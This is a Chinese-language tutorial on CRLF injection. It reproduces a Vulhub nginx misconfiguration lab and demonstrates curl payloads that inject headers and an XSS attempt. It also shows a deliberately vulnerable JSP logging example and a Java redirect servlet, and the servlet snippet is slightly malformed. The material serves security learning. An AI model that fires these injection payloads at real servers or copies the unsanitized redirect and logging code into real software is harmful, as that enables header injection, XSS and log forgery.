什么是CRLF注入漏洞?
CRLF 即【回车\r+换行\n】的简称,十六进制码为0x0d和0x0a 。在http协议中,http header 与 http body是用两个crlf分隔的,浏览器就是根据这两个crlf来取出http内容并显示出来的 ,当http消息头中的字符串外部可控,攻击者注入一些恶意的换行比如一些会话cookie或者html代码时就会导致存在安全风险。
CRLF注入漏洞演示1
实战环境:vulhub的nginx配置错误导致漏洞
搭建
我用的snap在ubuntu下载安装了docker
参考链接
Vulhub - Docker-Compose file for vulnerability environmentVulhub是一个基于docker和docker-compose的漏洞环境集合,进入对应目录并执行一条语句即可启动一个全新的漏洞环境,让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身。https://vulhub.org/#/environments/nginx/insecure-configuration/
下载Vulhub.ziphttps://github.com/vulhub/vulhub/archive/master.zipgithub链接
git clone GitHub - vulhub/vulhub: Pre-Built Vulnerable Environments Based on Docker-Compose
启动
在项目nginx/insecure-configuration路径下执行以下命令
docker compose up -d
查看docker容器运行状态
sudo docker ps -a
漏洞poc测试
curl -i http://192.168.218.134:8080/%0d%0aheader:header
-i 将显示服务器返回的完整响应信息,包括响应头和响应体
可以看到header增加了
尝试注入xss
http://192.168.218.134:8080/%0d%0a%0d%0a<script>alert(0)</script>
浏览器打开此xss没有执行,此xss没有执行成功。原因是重定向时浏览器不会加载响应体,..... 因该是有可以打xss的方法,笔者暂时没有想到。
漏洞分析
这是nginx配置错误导致的漏洞,这样的配置原本的目的是将http跳到https:。但location后的$url是直接拼接之后的,为用户可控参数,又没有对参数进行过滤,间接导致nginx解析了%0d%0a为一个换行
CRLF注入漏洞演示2
<%@ page contentType="text/html;charset=UTF-8" language="Java" %>
<%@ page import="Java.util.logging.Logger" %>
<%@ page import="Java.util.logging.Level" %>
<html>
<head> <title>日志注入</title>
</head> <body> <% String val=request.getParameter("val"); Logger log = Logger.getLogger("log"); log.setLevel(Level.INFO); try{ int value = Integer.parseInt(val); System.out.print(value); }catch(Exception e){ log.info("Filed to parse val = " + val); }
%> </body>
</html>
INFO:Failed to parse val=aaaINFO:xxxxx
CRLF注入漏洞演示3
根据重定向的逻辑我写了一个servlet的demo,用来测试
public class RedirectServlet extends HttpServlet {
}protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {String input = request.getParameter("input");System.out.println(input);response.sendRedirect("success.jsp?message=" + input);}
}
我的servlet配置如下
<servlet><servlet-name>redirectServlet </servlet-name><servlet-class>RedirectServlet </servlet-class> </servlet><servlet-mapping><servlet-name>redirectServlet </servlet-name><url-pattern>/redirect</url-pattern> </servlet-mapping>
开始测试
curl -i http://localhost:8080/redirect?input=123
尝试注入
curl -i http://localhost:8080/redirect?input=123%0d%0aheader:header
没有换行,没有触发漏洞。
但可以看出来System.out.println 是识别了换行符的,当增加%a的时候
curl -i http://localhost:8080/redirect?input=123%0d%0a%0a%0a%0a%0aheader:header